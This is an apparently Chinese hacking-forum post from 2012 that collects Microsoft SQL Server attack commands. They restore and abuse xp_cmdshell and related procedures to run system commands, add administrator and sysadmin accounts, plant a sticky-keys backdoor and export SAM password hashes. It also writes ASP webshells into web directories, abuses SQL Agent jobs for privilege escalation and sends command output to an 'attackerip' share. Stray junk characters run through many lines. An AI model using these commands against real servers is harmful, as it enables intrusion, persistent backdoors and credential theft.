找回密码
 立即注册
查看: 3224|回复: 0
打印 上一主题 下一主题

XP_CMDSHELL恢复方法大全

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:37:30 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
1 未能找到存储过程'master..xpcmdshell'.  EXEC master.dbo.sp_addextendedproc 后用下面的三种方法,在注入点上执行加个空格和;号
9 l1 m! I4 X/ W恢复方法:查询分离器连接后,
+ W6 I1 m9 x& N" P6 t" m8 M5 K$ E第一步执行:EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int ! a* q" a2 P) |8 X1 l3 a
第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll' - j$ ^* e. s- q& X+ A9 g, \2 U
然后按F5键命令执行完毕' b; f* v) b6 o  A9 [& f5 p- j" N

2 N: t: i9 l, y0 f6 f( `* {2 无法装载 DLL xpsql70.dll 或该DLL所引用的某一 DLL。原因126(找不到指定模块。)
6 s& F' T: H) |  b恢复方法:查询分离器连接后,; n& k; h0 f, f' b$ o
第一步执行:EXEC master.dbo.sp_dropextendedproc "xp_cmdshell"! g$ o) c+ K4 V9 a$ Q/ W; `
第二步执行:EXEC master.dbo.sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'7 [! g; R% c- t) R1 @
然后按F5键命令执行完毕2 J7 b" l1 @! E; b" f$ X0 u: D
* \* M6 T& J8 f. f/ P/ \
3 无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序。)) [& W! f7 s3 w! B
恢复方法:查询分离器连接后,
3 ^7 U6 }( K: N! |# f" }第一步执行:exec sp_dropextendedproc 'xp_cmdshell'& q2 g" C! o4 Y: H- b* o
第二步执行:exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll'       # R) j6 Z, `7 ?$ R5 N
然后按F5键命令执行完毕. K# ?" r/ O2 u) ?1 D) ~
" N; D' N  ~! k: O
4 终极方法.$ i) U/ ]# n3 x# X: N9 l
如果以上方法均不可恢复,请尝试用下面的办法直接添加帐户:% G, Q5 _/ ~; o1 o; }
查询分离器连接后," ]! V" }) i# h( G6 {! h
2000servser系统:  I, A) W2 d& E2 e% U( h
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user 新用户 密码 /add'6 l" W- F  X1 j: c; i$ R# S" U

/ a0 u& s" W3 [declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators 新用户 /add'+ V' _. O* |% j, Q
6 q( E" y2 @& [6 @3 r0 |/ t1 V
xp或2003server系统:
. y7 _- p5 k: b2 `% {6 V( ?$ ~
3 H. Y! a% x$ Y0 F1 V4 f1 N4 Bdeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 新用户 密码 /add'
% Y" s/ t# ^! F
6 C1 F( s+ b$ Q4 F5 ddeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 新用户 /add'# S7 X+ Y0 r, B: p/ L! V
( x4 I/ W- O! }9 P
: U; m; i( k' E. b$ x
五个SHIFT  |0 t( B+ J& Q: Y3 M/ O
declare @o int exec sp_oacreate 'scripting.filesystemobject', @o out exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe';
0 l) V& p; h4 X! |# Q" Z' C7 t
7 ~; w7 A5 F$ l; O- Jdeclare @oo int exec sp_oacreate 'scripting.filesystemobject', @oo out exec sp_oamethod @oo, 'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe'; ) n6 B" U: ~4 w, Z$ P

( q3 Y& A3 }6 C* d, G$ F, Bxp_cmdshell执行命令另一种方法
, G, e, _9 j! r- U8 T) rdeclare @a sysname set @a='xp_'+'cmdshell' exec @a 'net user refdom 123456 /add'
8 t' L6 }  @' P+ M$ F0 L
! M4 D$ }3 l$ w' Z判断存储扩展是否存在( J! C/ Y5 d# T$ S4 w) x
Select count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'1 |/ o7 i0 S: g6 C0 e
返回结果为1就OK" @8 L9 I0 \+ I: M
: ?- m9 y, |0 P8 z
, Q6 C& q- R* {  Y! U  j( r1 G
上传xplog70.dll恢复xp_cmdshell语句:
; X8 Y- U& j8 W  Csp_addextendedproc xp_cmdshell,@dllname='E:\newche2\about\XPLOG70.DLL'
3 ^& C' }% t& ?1 W1 H: G$ h8 ]/ z; C, i; ?) l, O
否则上传xplog7.0.dll
8 w0 i) t( G" ?0 C# r5 R" H4 h9 ZExec master.dbo.addextendedproc 'xp_cmdshell','C:\WinNt\System32\xplog70.dll'0 D0 j- ]/ W  j! }1 N
  Q" ?: ], P$ F4 P8 J: R
. _% ^- O3 M9 H& C

1 R& }- |5 i" l& Y# J+ N2 p, E首先开启沙盘模式:
/ x6 l5 ?& Y/ R2 v, eexec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1+ e# b# D7 `. q$ O2 u$ e- B  H
6 h( G! \* S+ d: F2 `1 L
然后利用jet.oledb执行系统命令8 w2 i( I9 z4 \  H1 p% k* ^
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')8 X; R: F  r0 n) S: d, J& ^
返回 不能找到c:\windows\system32\ias\ias.mdb错误,用exec master..xp_dirtree 'c:\windows\system32\ias\ias',1,1--  发现c:\windows\system32\ias\ias.mdb没了,应该是被管理员删掉了,还有另一个mdb也没了4 Z4 L/ @# L* V: c' \" a$ g5 P' |
; T: V! ~8 C! U$ X! C7 y( |
0 m$ z& v, D$ m' w
- R$ `7 w# n+ V: O; F1 R2 ^. s
恢复过程sp_addextendedproc 如下: % h# f9 {4 k! b
create procedure sp_addextendedproc --- 1996/08/30 20:13 5 d1 z  d4 h1 [+ [: [
@functname nvarchar(517),/* (owner.)name of function to call */ ; o% g* b% N- P6 }$ x; A7 N
@dllname varchar(255)/* name of DLL containing function */ . f5 ]1 t* l, U  C2 P
as
/ R& c% Q6 L$ h3 _set implicit_transactions off 3 B$ J5 }, ]4 j1 v- l0 M8 _* H
if @@trancount > 0 $ q1 P% ?& A% D1 i; X+ n9 v7 J
begin
$ ~# m& Z; D- T/ m: V, J! E6 draiserror(15002,-1,-1,'sp_addextendedproc') . B2 {( _( f* r! ^3 W: p$ U0 X! R" @/ h
return (1) ! q, N; J  p% I
end + k, T$ u/ s: \6 P+ V0 h7 w
dbcc addextendedproc( @functname, @dllname) & I# s9 R  h, s7 X$ {$ [! ]
return (0) -- sp_addextendedproc * ~, O! C" \0 u2 t  Z* x2 l9 E. R
GO
" @' [8 H$ L+ G$ O& n4 r
. {9 |' ]6 w( X3 ~% v% m! V3 F5 P% U( |2 _
. d3 r! }' D+ S- `: h; G8 d: V
导出管理员密码文件$ [: y3 @& T; Z8 G8 g9 ?- j
sa默认可以读sam键.应该。
/ Z4 r7 {2 q& G3 R. Oreg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\old.reg
& D  L" y6 B- i; U, c. W) pnet user administrator test
4 W4 L, V6 Z) Q4 s% d用administrator登陆.
7 k' x1 x' _0 i9 Y& @用完机器后9 x7 K9 X7 ^5 c! i9 n
reg import c:\test.reg7 f! K' I( l& @2 {
根本不用克隆.2 P5 A4 Y: S5 t
找到对应的sid. 8 L4 R# i9 I8 |( J: W$ Y6 S5 ?

; Y  v" V" J8 x" e4 z0 D  D! L& [: K3 e
4 K4 \$ A# W9 d. g2 E
恢复所有存储过程
4 S- t3 Q, D* Nuse master
$ |$ j  `/ b& t1 F' x& R& Yexec sp_addextendedproc xp_enumgroups,'xplog70.dll' " t- h6 m) ~( K  o2 ?. z" ^8 W
exec sp_addextendedproc xp_fixeddrives,'xpstar.dll'
5 \  E* q8 w$ s; {  r. X! Texec sp_addextendedproc xp_loginconfig,'xplog70.dll' ' E- l6 U+ O3 S4 O) c' w& [$ s
exec sp_addextendedproc xp_enumerrorlogs,'xpstar.dll'
/ y. H& y0 I$ u5 ~( T, n5 }exec sp_addextendedproc xp_getfiledetails,'xpstar.dll' ( [8 X! z+ m6 O# }( Q
exec sp_addextendedproc sp_OACreate,'odsole70.dll'
8 Y: \! A- B4 B$ K( ~# a! Eexec sp_addextendedproc sp_OADestroy,'odsole70.dll' " X" s; O( N6 X/ z6 ?, {& k& H
exec sp_addextendedproc sp_OAGetErrorInfo,'odsole70.dll'
: _2 K0 J/ e2 H7 aexec sp_addextendedproc sp_OAGetProperty,'odsole70.dll'
% P% {  F" m) ?exec sp_addextendedproc sp_OAMethod,'odsole70.dll'
6 f1 q% ^( J! T# ?: G* B. H) H4 D! Zexec sp_addextendedproc sp_OASetProperty,'odsole70.dll'
; M1 f9 A+ H: P" _' |0 b% ]exec sp_addextendedproc sp_OAStop,'odsole70.dll' ' o% h  V. I( U8 \! n- F  e
exec sp_addextendedproc xp_regaddmultistring,'xpstar.dll' 2 S! C# [' b% G* F
exec sp_addextendedproc xp_regdeletekey,'xpstar.dll'
# V2 @6 A* o$ Rexec sp_addextendedproc xp_regdeletevalue,'xpstar.dll'
1 F2 x  O& f5 v3 _% kexec sp_addextendedproc xp_regenumvalues,'xpstar.dll' - \5 c+ @# M3 {4 r" t
exec sp_addextendedproc xp_regread,'xpstar.dll' 0 O- O8 H8 j3 B: G- H: F0 X# A
exec sp_addextendedproc xp_regremovemultistring,'xpstar.dll' & n1 G  e. e2 g  \1 g0 H, h
exec sp_addextendedproc xp_regwrite,'xpstar.dll'
( \: p5 G# z! h* S; J+ vexec sp_addextendedproc xp_availablemedia,'xpstar.dll'- ]( [  u$ V; H3 o2 i

' n! u0 M) Z5 N
2 R2 M" m9 }" k" F- r( F4 p3 H建立读文件的存储过程' J/ C* o: n; s( k$ k. ~" b
Create proc sp_readTextFile @filename sysname+ U6 n2 f' g7 K
as7 |( R2 {, \/ }; H) {) z/ L# x
. e7 [+ D( X; }0 A
    begin ! P" G6 h) a8 }$ |  d
    set nocount on
: a! c, \( s; S; g    Create table #tempfile (line varchar(8000))) o7 h/ }% {0 u) Q* O* ]: D, u) r9 Z
    exec ('bulk insert #tempfile from "' + @filename + '"')
; U1 p1 |% V7 F% d/ i    select * from #tempfile/ c7 E9 j% l( O( S7 d; B) m/ f  G
    drop table #tempfile9 s2 x$ l: G" Z/ C
End
3 f6 p! V# u- e: R& ]% l
8 K8 P0 X+ t( G) s8 R& R" w- ^exec sp_readTextFile 'D:\testjun17\Teleweb-Japan\default.asp' 利用建立的存储过程读文件1 O9 F9 M/ i6 u1 p  z
查看登录用户4 ?7 e* l3 P8 L9 i. B
Select * from sysxlogins
- f3 g: t" G4 a2 U/ i7 C
( h* f2 d% j! |) U( J把文件内容读取到表中6 K9 m2 H6 @- D  M+ e, `  d" o
BULK INSERT tmp from "c:\test.txt"$ t0 ]' a( h' a4 B) N% ]& G- @! Z3 V
dElete from 表名 清理表里的内容& ~! K! d, c" D
create table b_test(fn nvarchar(4000));建一个表,字段为fn
; p/ Y9 u. n9 }5 {! O; t5 p2 d. _. x! r; f" `4 |3 f$ A
* D! \; [" D& {' C$ p
加sa用户3 \6 V5 j" q6 d* j: D' T
exec master.dbo.sp_addlogin user,pass;! u1 }1 ]8 D5 ?. d9 e9 q
exec master.dbo.sp_addsrvrolemember user,sysadmin
: Z1 X+ k/ Z: t7 I! g
! E1 e1 x) e0 S3 b7 I& c4 i3 C( n# W0 b' Y3 p
. Z  o/ ~: y- M1 |5 {( v" Q
读文件代码* ]- h- C, h) Y! m6 q9 d4 Z+ P8 G
declare @o int, @f int, @t int, @ret int
& R& I% N' ?3 h% g: ^, u+ v6 wdeclare @line varchar(8000). L( U3 G# Q) D5 S. S
exec sp_oacreate 'scripting.filesystemobject', @o out
! J$ L0 p2 w5 c: ?5 |exec sp_oamethod @o, 'opentextfile', @f out, '文件名', 1) M, D7 ?% O" A5 t/ e$ v
exec @ret = sp_oamethod @f, 'readline', @line out" O" z1 w2 O& ?; ?/ }9 V; m8 o
while( @ret = 0 )) w5 E2 E: K1 e+ j
begin$ d1 R7 n. o4 S$ O! q
print @line
( j2 s* }, z9 l0 ^5 Jexec @ret = sp_oamethod @f, 'readline', @line out
* w. V( P7 v( f; z* _end/ i5 {+ [6 i" ^8 `* C0 ]
% [1 \; y8 j2 \, O/ r% y9 ]2 a7 O4 E

2 Q6 A& |' I& z4 G% |写文件代码:
/ W: D1 A/ u0 @  p. _6 @7 odeclare @o int, @f int, @t int, @ret int/ m4 O2 s  k$ P
exec sp_oacreate 'scripting.filesystemobject', @o out3 z# Z0 c3 h3 @# L
exec sp_oamethod @o, 'createtextfile', @f out, 'd:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini', 1; c+ Y- P$ f1 K1 a
exec @ret = sp_oamethod @f, 'writeline', NULL, 《内容》$ f' O: c- m- ^
5 F; {" R( k7 z" F" n
1 W. C% e4 n+ u. ~
添加lake2 shell
. h) \! i2 {' Gsp_addextendedproc 'xp_lake2', 'c:\recycler\xplake2.dll'- E1 t( d( s1 T- s8 I
sp_dropextendedproc xp_lake2
* U8 K+ |* s- y% N+ d; E1 \EXEC xp_lake2 'net user'% {: J% G) _4 p( e8 q0 \4 P! m% B

8 d4 m8 B3 X0 E5 t5 ~# s7 m& b" S! `5 @/ |" r
得到硬盘文件信息 - Z& h- ?0 i4 z, j+ d' R
--参数说明:目录名,目录深度,是否显示文件 3 g- _: z3 ~& r: v1 ^+ @8 c9 c& J# J
execute master..xp_dirtree 'c:' 6 ]7 z6 j: [" J% u1 }- D" |
execute master..xp_dirtree 'c:',1
0 P5 d4 Q) C1 c; Y/ S$ d* cexecute master..xp_dirtree 'c:',1,1
. r( n% z6 z, j& `0 I/ W
( C& u) C/ x! P1 |
6 U* e& X# _( J, u# S读serv-u配置信息  s$ m8 Q2 H7 }
exec sp_readTextFile 'd:\Program Files\RhinoSoft.com\Serv-U\ReadMe.txt'; a  K) e2 M4 J3 d! {+ X2 ^* k
exec sp_readTextFile 'd:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini', a* x+ J* [' G3 @( T  R

  g) x& W- n; Z' J: M通过xp_regwrite写SHIFT后门" U2 J0 h  z( {5 g* A6 C
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','debugger','REG_sz','c:\windows\system32\cmd.exe on';--3 r& x' E7 L9 V  m& _* Y! r

; \' r8 i2 e8 |! S1 h  t6 c' y, v% F* @* y5 E( p

& T' ]# R, J6 C# M, L找到web路径然后用exec master.dbo.xp_subdirs 'd:\web\www.xx.com';4 Y+ J6 b* h7 @6 p& G
exec sp_makewebtask 'd:\web\www.XXXX.com\XX.asp','select''<%execute(request("SB"))%>'' '备 份一个小马就可以了. B  S+ a% q/ b, N; h2 p0 X

0 S1 h1 m  Y( W& |; HEXECUTE sp_makewebtask @outputfile = ‘WEB绝对路径\导出的文件名.asp',@query = 'SELECT 你的字段 FROM 你建的临时表'! R2 A$ x) C  ^: d' `' ?
; O& b: W1 J" O  b/ j# a# X8 |

; D9 Z' F; {) P- ~- X$ P! E/ ]( j  l
sql server 2005下开启xp_cmdshell的办法' K& ]; u, q+ n8 w, v: ~! |+ t

3 F8 r! ~+ c$ o# z  M/ e! i2 ~EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;* a! R# \+ f& T0 }

  N' H( _" K* O+ USQL2005开启'OPENROWSET'支持的方法:
6 g  e. f! B* N
: C' Q9 B4 d5 L+ M$ Iexec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;
8 x. _7 \1 }* M) D
; e! x; g$ m. I9 BSQL2005开启'sp_oacreate'支持的方法:
4 @: N& P8 r- g3 k1 `, q1 {: n/ I5 T3 y$ Z; V" T
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;
6 y3 F9 z! v" u' E, ~7 C% g% p  x5 i
1 d, _0 O" h& O4 C$ e' X! H
! L) A  w3 T1 T% e9 I6 h3 P# |- A! I! N7 u

% B" Q' H' n7 }' `  x0 l7 O! q5 Y# }- k/ z6 Q
! Z' }6 }) q( U$ \( ]& K

# \& I, c( D9 Q2 y, V, |9 s' Z2 s/ B$ T* Z3 U& |  J! k7 l/ F) h
1 b5 K( k: C8 k, f8 Q$ u
1 P& _$ N& c, l
# R* C8 D6 n6 Y+ p
9 W" o, m1 T# z6 X

) D$ ?; s8 Q% |" I: a3 l+ {$ K
1 c# f. l/ S" y5 J- }* K6 O& }" Z3 ^& U" y

# W: |# k0 _, X! h# `
% |; U) _$ W# o# E# A8 C
6 D1 d: u5 E$ }, s! N/ P, C  ]8 _& l8 S# l0 W

0 Y3 j( j+ [- z8 R0 I4 u- Q( U# L. D; M
: S; t& E$ x8 e# |* @4 y
* ]: Y% @! \5 x' D3 A: u) w+ P$ n4 X4 k5 y3 p0 a3 a7 Q

0 ?2 O  K. v' J# J- L以下方面不知道能不能成功暂且留下研究哈:
3 |' F6 P7 U' O; B5 u4)
" o5 M" q$ v$ @6 }- L5 Euse msdb; --这儿不要是master哟
( V: L: U6 W% cexec sp_add_job @job_name= czy82 ;
+ B+ D3 J7 J8 k, T  d$ l+ Gexec sp_add_jobstep @job_name= czy82 ,@step_name = Exec my sql ,@subsystem= CMDEXEC ,@command= dir c:\>c:\b.txt ;
2 G' a1 i) v) d; e# {6 `exec sp_add_jobserver @job_name = czy82 ,@server_name = smscomputer ;
- Q" e! _" M; U( z% |exec sp_start_job @job_name= czy82 ;
& w; v' G5 J$ W2 N) K' h
5 l$ a4 @6 A2 z/ {利用MSSQL的作业处理也是可以执行命令的而且如果上面的subsystem的参数是tsql,后面的我们就可以+ d9 j% B) ^* [. M9 O
执行tsql语句了.
4 y  z+ C0 S2 }& _) @8 l8 ?对于这几个储存过程的使用第一在@server_name我们要指定你的sql的服务器名" a& D( z  Q! b
第二系统的sqlserveragent服务必须打开(默认没打开的气人了吧)! {! Y: C  p, I
net start SQLSERVERAGENT
/ @& j$ \$ c$ d4 k  l9 h* F& ^; N+ X$ f2 x
对于这个东东还有一个地方不同就是public也可以执行..同这儿也是有系统洞洞的看下面的
; I' p2 R0 k5 [4 K" cUSE msdb
- ]( x. l7 Q3 X6 lEXEC sp_add_job @job_name = GetSystemOnSQL ,% ]6 Y3 m. U2 B3 ]# o3 e  _
@enabled = 1,; v- ?' f5 T9 H2 B# j
@description = This will give a low privileged user access to8 w7 J8 `4 y# W9 J
xp_cmdshell ,, z4 m9 l. E. L* y. V6 i- o* E+ J
@delete_level = 1# z* t6 k1 d, N& b
EXEC sp_add_jobstep @job_name = GetSystemOnSQL ,5 R' d9 R5 m- Y  |/ x
@step_name = Exec my sql ,
5 L  {6 {& `9 g' R9 {6 U@subsystem = TSQL ,
0 c/ q# m& u. E@command = exec master..xp_execresultset N select exec0 o, H/ ^! q3 W( W% E2 m
master..xp_cmdshell "dir > c:\agent-job-results.txt" ,N Master 5 p$ G' J4 j4 Y! N; K% w  Q' [! w& L
EXEC sp_add_jobserver @job_name = GetSystemOnSQL ,2 Z9 H1 l( }: o3 g
@server_name = 你的SQL的服务器名 9 s$ K3 D$ R+ N+ [3 n! R
EXEC sp_start_job @job_name = GetSystemOnSQL ' g6 M' _" }" K  ?3 h& [
: B8 ^) H! b! n1 n& @
不要怀疑上面的代码,我是测试成功了的!这儿我们要注意xp_execresultset就是因为它所以
; r+ v) z8 A2 x5 c! l2 g才让我们可以以public执行xp_cmdshell+ K( [! g' v7 X* m4 j

  K9 y1 H: w( _; D5)关于Microsoft SQL Agent Jobs任意文件可删除覆盖漏洞(public用户也可以)0 _2 Y  M' O8 H4 }1 }: q/ K* z+ U1 p
在安焦有文章:http://www.xfocus.net/vuln/vul_view.php?vul_id=2968
9 w! i& L1 `  A+ _' ^3 X, T( }* ^# E6 t$ u% k9 I: C
USE msdb
9 o; ^5 _- k+ qEXEC sp_add_job @job_name = ArbitraryFilecreate ,/ \' x' ^, z; ~+ s6 j
@enabled = 1,
& a* j4 F  e' R3 m9 M# o# H@description = This will create a file called c:\sqlafc123.txt ,
# d, [. N- v- F3 F@delete_level = 1( G- M' K# V4 S0 ]) I6 {: z
EXEC sp_add_jobstep @job_name = ArbitraryFilecreate ,
! L4 R: P' y' S2 x/ S@step_name = SQLAFC ,8 v1 u# z( k7 w
@subsystem = TSQL ,
( H+ |/ @, _* k@command = select hello, this file was created by the SQL Agent. ,
5 Y( U9 e+ r' k; R@output_file_name = c:\sqlafc123.txt
6 c1 Q5 H7 x" V' [( p3 ~* m/ fEXEC sp_add_jobserver @job_name = ArbitraryFilecreate ,
* F) K4 G* t' {4 J0 K4 h4 `@server_name = SERVER_NAME 6 t0 d' T$ r) f. s* c
EXEC sp_start_job @job_name = ArbitraryFilecreate
5 `' C# X) g$ L+ ], J3 ~; w6 O% C
3 v/ R* m! C% P- r# v9 s% K如果subsystem选的是:tsql,在生成的文件的头部有如下内容! ^: a1 j# d* Q" v/ e; a

8 Z' e# ~2 \2 u1 K; z??揂rbitraryFilecreate? ? 1 ?,揝QLAFC? ???? 2003-02-07 18:24:19( X5 F" \& a% T& C) g( N
----------------------------------------------- x2 {; J& U- n* m* M7 ?& i
hello, this file was created by the SQL Agent.
3 ]6 n* \) Y, p. a, c: J; `, |+ }( V
(1 ?????)$ r# L2 ^2 Z7 n
2 @- U( ?* n  n' K+ d
所以我建议要生成文件最好subsystem选cmdexec,如果利用得好我们可以写一个有添加管理员, M9 W! C  `( d1 t, P3 ?. ^2 J
命令的vbs文件到启动目录!* i% Z/ X: r0 O% f
! l4 s6 M: W3 h
6)关于sp_makewebtask(可以写任意内容任意文件名的文件), x! V2 L4 c( C7 m, R# U8 S
关于sp_MScopyscriptfile 看下面的例子
" T$ h$ q% Z0 R' O# Rdeclare @command varchar(100) ) s: f4 B2 O; Q1 z; N" C& q3 }
declare @scripfile varchar(200)   C- v0 ^: |/ d+ ^! U  _
set concat_null_yields_null off 2 n$ S0 {$ _; Y- ]% P
select @command= dir c:\ > "\\attackerip\share\dir.txt"
! l8 B: c4 B, L* Z3 M  Vselect @scripfile= c:\autoexec.bat > nul" | @command | rd " - P) Z$ R# s2 Z+ n/ Q' z" |
exec sp_MScopyscriptfile @scripfile ,
0 S& b' ]0 w" I  G/ c9 ]& q, F7 O+ m( ]% ]( V! o# w3 ]9 U
这两个东东都还在测试试哟7 a& i& j$ ]) C* f% e% n. v. S
让MSSQL的public用户得到一个本机的web shell
/ b& i1 u1 q: z" P& L$ X
! E9 Q+ @" p0 a% U+ j2 M7 M+ G* osp_makewebtask @outputfile= d:\sms\a.asp ,@charset=gb2312,3 x, ^: v% y4 q3 C  P3 {
--@query= select <img src=vbscript:msgbox(now())> 7 F6 Q8 [% u5 V" p  @6 Y7 y
--@query= select <%response.write request.servervariables("APPL_PHYSICAL_PATH")%> / }1 s4 C; W' {# ?; `
@query= select * v% R$ M7 R( a8 @
<%On Error Resume Next / j, b0 m8 V2 G$ W/ m6 r9 {$ \
Set oscript = Server.createObject("wscript.SHELL")
4 [3 p) l$ {1 R4 kSet oscriptNet = Server.createObject("wscript.NETWORK") 7 }  s5 J' z$ X
Set oFileSys = Server.createObject("scripting.FileSystemObject")
5 y( o7 s5 d7 S0 c! e/ {$ T' K1 E% NszCMD = Request.Form(".CMD")
3 A7 x+ `  S) f+ [# ?If (szCMD <>"")Then 0 C- G) m6 ~/ U8 p9 S2 j
szTempFile = "C:\" & oFileSys.GetTempName()
/ m* d# v; `8 F- S, R: nCall oscript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)
7 ^0 V/ z1 T, _3 USet oFile = oFilesys.OpenTextFile (szTempFile, 1, False, 0)
& X1 S/ {- ?' x' vEnd If %>
# |7 P/ S. S# e( J; C4 h3 P" p<HTML><BODY><FORM action="<%= Request.ServerVariables("URL")%>" method="OST">
) K+ e/ c0 W' e: E& k5 o<input type=text name=".CMD" size=45 value="<%= szCMD %>"><input type=submit value="Run">
' |7 y$ e' h0 N) O. _4 c</FORM><RE>
0 }9 V5 L) y: \) e<% If (IsObject(oFile))Then : D7 @4 o& ?3 ~. f
On Error Resume Next
+ A5 F( A. [5 a4 H: NResponse.Write Server.HTMLEncode(oFile.ReadAll) ) C! d- X; }. L- Y$ }* `8 I9 b8 g
oFile.Close $ j( H9 b+ d. K) y8 z/ v
Call oFileSys.deleteFile(szTempFile, True) 0 B, F# L: e- p( T0 q- z
End If%> 2 A4 L  g& o. g% E/ k
</BODY></HTML>
  T- q" Z" U+ z4 v
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表